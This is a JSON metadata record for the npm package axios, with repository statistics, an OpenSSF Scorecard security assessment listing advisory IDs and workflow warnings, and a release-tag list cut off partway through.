{"id":1448481,"name":"axios","ecosystem":"npm","description":"Promise based HTTP client for the browser and node.js","homepage":"https://axios-http.com","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/axios/axios","keywords_array":["xhr","http","ajax","promise","node","browser","fetch","rest","api","client"],"namespace":null,"versions_count":146,"first_release_published_at":"2014-08-29T23:08:36.810Z","latest_release_published_at":"2026-08-26T08:20:14.517Z","latest_release_number":"1.20.0","last_synced_at":"2026-08-30T05:25:40.134Z","created_at":"2022-04-09T01:32:52.381Z","updated_at":"2026-08-30T17:13:42.785Z","registry_url":"https://www.npmjs.com/package/axios","install_command":"npm install axios","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"next":"1.7.0-beta.2","old-version":"0.30.0","v0x":"0.33.0","latest":"1.20.0"},"contentPolicy":null},"repo_metadata":{"id":19827646,"uuid":"23088740","full_name":"axios/axios","owner":"axios","description":"Promise based HTTP client for the browser and node.js","archived":false,"fork":false,"pushed_at":"2026-08-25T10:13:12.000Z","size":28688,"stargazers_count":109197,"open_issues_count":79,"forks_count":11825,"subscribers_count":1175,"default_branch":"v1.x","last_synced_at":"2026-08-25T23:57:15.921Z","etag":null,"topics":["hacktoberfest","http-client","javascript","nodejs","promise"],"latest_commit_sha":null,"homepage":"https://axios-http.com","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/axios.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null},"funding":{"open_collective":"axios","github":"axios"}},"created_at":"2014-08-18T22:30:27.000Z","updated_at":"2026-08-25T23:01:29.000Z","dependencies_parsed_at":"2026-08-25T23:57:16.618Z","dependency_job_id":null,"html_url":"https://github.com/axios/axios","commit_stats":{"total_commits":1384,"total_committers":481,"mean_commits":"2.8773388773388775","dds":0.8410404624277457,"last_synced_commit":"ddb8683381ddbbfd6faeaaa0f8ff53f55f837594"},"previous_names":["mzabriskie/axios"],"tags_count":146,"template":false,"template_full_name":null,"purl":"pkg:github/axios/axios","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/axios","download_url":"https://codeload.github.com/axios/axios/tar.gz/refs/heads/v1.x","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/sbom","scorecard":{"id":55204,"data":{"date":"2025-08-11","repo":{"name":"github.com/axios/axios","commit":"2a9763426e43d996fd60d01afe63fa6e1f5b4fca"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.7,"checks":[{"name":"Code-Review","score":8,"reason":"Found 18/22 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"27 commit(s) and 22 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":4,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Warn: no linked content found","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:24","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:25","Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:13","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/npm-tag.yml:14","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:15","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci.yml:18","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/depsreview.yaml:5","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Warn: no topLevel permission defined: .github/workflows/notify.yml:1","Warn: no topLevel permission defined: .github/workflows/npm-tag.yml:1","Warn: no topLevel permission defined: .github/workflows/pr-guard.yml:1","Warn: no topLevel permission defined: .github/workflows/pr.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Warn: no topLevel permission defined: .github/workflows/sponsors.yml:1","Warn: no topLevel permission defined: .github/workflows/stale.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":2,"reason":"dependency not pinned by hash detected -- score normalized to 2","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/ci.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/codeql-analysis.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/codeql-analysis.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/codeql-analysis.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/depsreview.yaml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/depsreview.yaml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/depsreview.yaml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/depsreview.yaml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/labeler.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/labeler.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/notify.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/notify.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/notify.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/notify.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/npm-tag.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/npm-tag.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/npm-tag.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/npm-tag.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr-guard.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr-guard.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr-guard.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr-guard.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pr.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pr.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pr.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/pr.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/publish.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/publish.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/sponsors.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/sponsors.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/sponsors.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/sponsors.yml/v1.x?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/sponsors.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/sponsors.yml/v1.x?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/axios/axios/stale.yml/v1.x?enable=pin","Info:   0 out of  22 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  13 third-party GitHubAction dependencies pinned","Info:   6 out of   6 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 29 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"44 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-h5c3-5r3r-rr8q","Warn: Project is vulnerable to: GHSA-rmvr-2pp2-xj38","Warn: Project is vulnerable to: GHSA-xx4v-prfh-6cgc","Warn: Project is vulnerable to: GHSA-v88g-cgmw-v5xw","Warn: Project is vulnerable to: GHSA-67hx-6x53-jw92","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-x9w5-v3q2-3rhw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-wm7h-9275-46v2","Warn: Project is vulnerable to: GHSA-vjh7-7g9h-fjfh","Warn: Project is vulnerable to: GHSA-4gmj-3p3h-gm8h","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-75v8-2h7p-7m2m","Warn: Project is vulnerable to: GHSA-pfrx-2q88-qq97","Warn: Project is vulnerable to: GHSA-rc47-6667-2j5j","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-44fp-w29j-9vj5","Warn: Project is vulnerable to: GHSA-4pg4-qvpc-4q3h","Warn: Project is vulnerable to: GHSA-g5hg-p3ph-g8qg","Warn: Project is vulnerable to: GHSA-fjgf-rc76-4x9p","Warn: Project is vulnerable to: GHSA-rhx6-c78j-4q9w","Warn: Project is vulnerable to: GHSA-9wv6-86v2-598j","Warn: Project is vulnerable to: GHSA-h7cp-r72f-jxh6","Warn: Project is vulnerable to: GHSA-v62p-rq8g-8h59","Warn: Project is vulnerable to: GHSA-p8p7-x288-28g6","Warn: Project is vulnerable to: GHSA-gcx4-mw62-g8wm","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw","Warn: Project is vulnerable to: GHSA-44c6-4v22-4mhx","Warn: Project is vulnerable to: GHSA-4x5v-gmq8-25ch","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-3jfq-g458-7qm9","Warn: Project is vulnerable to: GHSA-5955-9wpr-37jh","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-pq67-2wwv-3xjx","Warn: Project is vulnerable to: GHSA-8cj5-5rvv-wf4v","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6","Warn: Project is vulnerable to: GHSA-72xf-g2v4-qvf3","Warn: Project is vulnerable to: GHSA-cchq-frgv-rjh5","Warn: Project is vulnerable to: GHSA-g644-9gfx-q4q4","Warn: Project is vulnerable to: GHSA-3h5v-q93c-6h6q"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-15T00:34:01.728Z","repository_id":19827646,"created_at":"2025-08-15T00:34:01.728Z","updated_at":"2025-08-15T00:34:01.728Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36910504,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-26T02:00:06.703Z","response_time":94,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"axios","name":"axios","uuid":"32372333","kind":"organization","description":"","email":null,"website":"https://axios.rest","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/32372333?v=4","repositories_count":5,"last_synced_at":"2026-08-28T00:25:01.998Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/axios","funding_links":["https://github.com/sponsors/axios"],"total_stars":110810,"followers":2391,"following":0,"created_at":"2022-11-02T16:20:25.966Z","updated_at":"2026-08-28T00:25:02.067Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/axios","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/axios/repositories"},"tags":[{"name":"v1.20.0","sha":"84a9f3b9a4f3244b8c8e818f557d64c7b964fb25","kind":"commit","published_at":"2026-08-19T15:53:46.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.20.0","html_url":"https://github.com/axios/axios/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.20.0/manifests"},{"name":"v1.19.0","sha":"311fcc5c8d989b7248f05d390bb83bfbfb009977","kind":"commit","published_at":"2026-07-22T17:26:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.19.0","html_url":"https://github.com/axios/axios/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.19.0/manifests"},{"name":"v1.18.1","sha":"a209bfb1e5dcbce3cecbf4bd955339d006358887","kind":"commit","published_at":"2026-06-21T17:14:40.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.18.1","html_url":"https://github.com/axios/axios/releases/tag/v1.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.1/manifests"},{"name":"v1.18.0","sha":"2d06f96e8602c2db13b65a26340ee4a1bbc0b61f","kind":"commit","published_at":"2026-06-12T06:38:08.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.18.0","html_url":"https://github.com/axios/axios/releases/tag/v1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.18.0/manifests"},{"name":"v0.33.0","sha":"d998cc9a1aa5cc45fbdfbdded6e9ecf8beb61aed","kind":"commit","published_at":"2026-06-11T18:35:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.33.0","html_url":"https://github.com/axios/axios/releases/tag/v0.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.33.0/manifests"},{"name":"v1.17.0","sha":"4306df21e84332fc576e98c2de549347c06bfb76","kind":"commit","published_at":"2026-06-01T18:15:44.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.17.0","html_url":"https://github.com/axios/axios/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.17.0/manifests"},{"name":"v1.16.1","sha":"1337d6b537afb2d3f501074c8ac4ef4308221197","kind":"commit","published_at":"2026-05-13T16:11:40.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.16.1","html_url":"https://github.com/axios/axios/releases/tag/v1.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.1/manifests"},{"name":"v0.32.0","sha":"8db2d44896849a21ed9721185b1034df24e1ba7b","kind":"commit","published_at":"2026-05-04T17:08:42.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.32.0","html_url":"https://github.com/axios/axios/releases/tag/v0.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.32.0/manifests"},{"name":"v1.16.0","sha":"df53d7dd99b202fb194217abd127ae6a630e70dc","kind":"commit","published_at":"2026-05-02T11:49:29.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.16.0","html_url":"https://github.com/axios/axios/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.16.0/manifests"},{"name":"v1.15.2","sha":"582934382e4e0e0bcb679c628071a4203e93cf57","kind":"commit","published_at":"2026-04-21T17:45:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.15.2","html_url":"https://github.com/axios/axios/releases/tag/v1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.2/manifests"},{"name":"v1.15.1","sha":"ac42446be51300fe214ba3c6e40cc95f34fd6871","kind":"commit","published_at":"2026-04-19T16:51:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.15.1","html_url":"https://github.com/axios/axios/releases/tag/v1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.1/manifests"},{"name":"v0.31.1","sha":"a589dc525af12e0fabef7d6e5be028ad433eee31","kind":"commit","published_at":"2026-04-19T16:50:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.31.1","html_url":"https://github.com/axios/axios/releases/tag/v0.31.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.31.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.1/manifests"},{"name":"v0.31.0","sha":"5073eca0edd37b13a0e39dcb48794d779b7dff8d","kind":"commit","published_at":"2026-04-12T09:21:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.31.0","html_url":"https://github.com/axios/axios/releases/tag/v0.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.31.0/manifests"},{"name":"v1.15.0","sha":"772a4e54ecc4cc2421e2b746daff0aca10f359d7","kind":"commit","published_at":"2026-04-07T16:03:51.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.15.0","html_url":"https://github.com/axios/axios/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"46bee3dea75ef53a8eae49f3b7487e6341de6074","kind":"commit","published_at":"2026-03-27T18:54:05.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.14.0","html_url":"https://github.com/axios/axios/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.14.0/manifests"},{"name":"v1.13.6","sha":"7108c8877f9dc05f7aba8beb2b9e522537f9a9a7","kind":"commit","published_at":"2026-02-27T15:28:22.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.13.6","html_url":"https://github.com/axios/axios/releases/tag/v1.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxi